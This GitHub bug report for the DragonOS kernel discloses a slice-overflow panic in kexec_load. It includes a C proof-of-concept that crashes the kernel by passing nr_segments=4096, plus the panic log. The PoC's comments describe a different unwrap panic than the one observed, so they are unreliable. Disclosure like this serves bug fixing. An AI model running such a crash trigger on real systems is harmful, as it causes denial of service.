Skip to content

[BUG REPORT] Slice overflow in kexec_core.rs - nr_segments=4096 exceeds slice length 16 #1741

@nuczyc

Description

@nuczyc

Describe the bug

A kernel panic occurs in kexec_core.rs:90 when the kexec_load syscall is called with a nr_segments parameter (4096) that exceeds the actual slice length (16). The actual error is a slice overflow: "range end index 4096 out of range for slice of length 16". The root cause is missing bounds validation for the user-provided nr_segments parameter before using it in slice operations.

image.lock().segment[..ksegments.len()].copy_from_slice(ksegments);

To Reproduce

  1. Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <sys/reboot.h>

/*
 * PoC for triggering kexec unwrap panic in DragonOS kernel
 * 
 * The panic occurs in machine_kexec_prepare() when control_code_page is None
 * and unwrap() is called on it at line 29 of kexec.rs
 * 
 * This program attempts to trigger kexec functionality through various means:
 * 1. Direct kexec syscalls (if available)
 * 2. Reboot syscalls with kexec flag
 * 3. Writing to kexec-related procfs entries
 * 
 * Note: The actual trigger depends on DragonOS's kexec implementation.
 * The panic occurs when the kernel tries to prepare for kexec but the
 * control_code_page field of the kimage structure is not properly initialized.
 */

#ifndef __NR_kexec_load
#define __NR_kexec_load 104  // Common syscall number, may differ on DragonOS
#endif

#ifndef __NR_kexec_file_load
#define __NR_kexec_file_load 105  // Common syscall number, may differ on DragonOS
#endif

#ifndef LINUX_REBOOT_MAGIC1
#define LINUX_REBOOT_MAGIC1 0xfee1dead
#endif

#ifndef LINUX_REBOOT_MAGIC2
#define LINUX_REBOOT_MAGIC2 672274793
#endif

int try_kexec_load_syscall() {
    // Try to trigger kexec_load syscall
    // This might eventually call machine_kexec_prepare in the kernel
    void *kernel_buf = malloc(4096);
    if (!kernel_buf) {
        perror("malloc");
        return -1;
    }
    
    // Fill with some dummy data
    memset(kernel_buf, 0x90, 4096);
    
    printf("Attempting kexec_load syscall...\n");
    long ret = syscall(__NR_kexec_load, 
                      (unsigned long)0x100000,  // entry point
                      4096,                      // nr_segments
                      kernel_buf,               // segments
                      0);                       // flags
    
    if (ret == -1) {
        printf("kexec_load syscall failed: %s\n", strerror(errno));
        free(kernel_buf);
        return -1;
    }
    
    printf("kexec_load syscall succeeded, this might trigger the panic\n");
    free(kernel_buf);
    return 0;
}

int try_kexec_file_load_syscall() {
    // Try kexec_file_load syscall if available
    printf("Attempting kexec_file_load syscall...\n");
    long ret = syscall(__NR_kexec_file_load,
                      -1,    // kernel_fd
                      -1,    // initrd_fd
                      0,     // cmdline_len
                      NULL,  // cmdline
                      0);    // flags
    
    if (ret == -1) {
        printf("kexec_file_load syscall failed: %s\n", strerror(errno));
        return -1;
    }
    
    printf("kexec_file_load syscall succeeded\n");
    return 0;
}

int try_reboot_kexec() {
    // Try reboot with kexec flag
    printf("Attempting reboot with kexec flag...\n");
    
    // Linux uses RB_KEXEC = 0x45584543, trying similar values
    long ret = syscall(SYS_reboot, 
                      LINUX_REBOOT_MAGIC1, 
                      LINUX_REBOOT_MAGIC2, 
                      0x45584543,  // RB_KEXEC equivalent
                      NULL);
    
    if (ret == -1) {
        printf("Reboot with kexec flag failed: %s\n", strerror(errno));
        return -1;
    }
    
    printf("Reboot with kexec flag succeeded\n");
    return 0;
}

int try_procfs_kexec() {
    // Try to write to kexec-related procfs entries
    const char* proc_entries[] = {
        "/proc/sys/kernel/kexec_loaded",
        "/proc/sys/kernel/kexec_crash_loaded",
        "/sys/kernel/kexec_loaded",
        "/sys/kernel/kexec_crash_loaded",
        NULL
    };
    
    for (int i = 0; proc_entries[i]; i++) {
        printf("Attempting to write to %s...\n", proc_entries[i]);
        int fd = open(proc_entries[i], O_WRONLY);
        if (fd >= 0) {
            if (write(fd, "1", 1) == 1) {
                printf("Successfully wrote to %s\n", proc_entries[i]);
                close(fd);
                return 0;
            }
            close(fd);
        }
        printf("Failed to write to %s: %s\n", proc_entries[i], strerror(errno));
    }
    
    return -1;
}

int main() {
    printf("PoC: Attempting to trigger kexec unwrap panic in DragonOS\n");
    printf("Target: machine_kexec_prepare() at kexec.rs:29\n");
    printf("Panic occurs when control_code_page is None and unwrap() is called\n\n");
    
    // Try various methods to trigger kexec functionality
    if (try_kexec_load_syscall() == 0) {
        printf("kexec_load may have triggered the panic path\n");
    }
    
    if (try_kexec_file_load_syscall() == 0) {
        printf("kexec_file_load may have triggered the panic path\n");
    }
    
    if (try_reboot_kexec() == 0) {
        printf("Reboot with kexec may have triggered the panic path\n");
    }
    
    if (try_procfs_kexec() == 0) {
        printf("Procfs kexec operations may have triggered the panic path\n");
    }
    
    printf("\nPoC execution completed.\n");
    printf("If the kernel panic was triggered, the system should have crashed.\n");
    printf("If not, the kexec functionality may not be accessible from user space\n");
    printf("or the panic condition requires specific kernel state.\n");
    
    return 0;
}

Environment

Logs

root@dragonos:~# /bin/ex6597___home__yuchen__dragon__DragonOS__kernel__s 
PoC: Attempting to trigger kexec unwrap panic in DragonOS
Target: machine_kexec_prepare() at kexec.rs:29
Panic occurs when control_code_page is None and unwrap() is called

Attempting kexec_load syscall...
[ ERROR ] (src/debug/panic/mod.rs:43)    Kernel Panic Occurred. raw_pid: 20
Location:
        File: src/init/kexec/kexec_core.rs
        Line: 90, Column: 25
Message:
        range end index 4096 out of range for slice of length 16
Rust Panic Backtrace:
[1] function:_Unwind_Backtrace()        (+) 0051 address:0xffff8000004db083
Current PCB:
        ProcessControlBlock { pid: AtomicRawPid { container: 20 }, tgid: RawPid(20), thread_pid: RwLock { lock: 0, data: UnsafeCell { .. } }, pid_links: [PidLink { pid: RwLock { lock: 0, data: UnsafeCell { .. } } }, PidLink { pid: RwLock}
Unknown signal (core dumped)

Metadata

Metadata

Assignees

No one assigned

    Labels

    bug-report这是一个bug报告(如果确认是一个bug,请管理人员添加`bug` label)enhancementNew feature or request

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions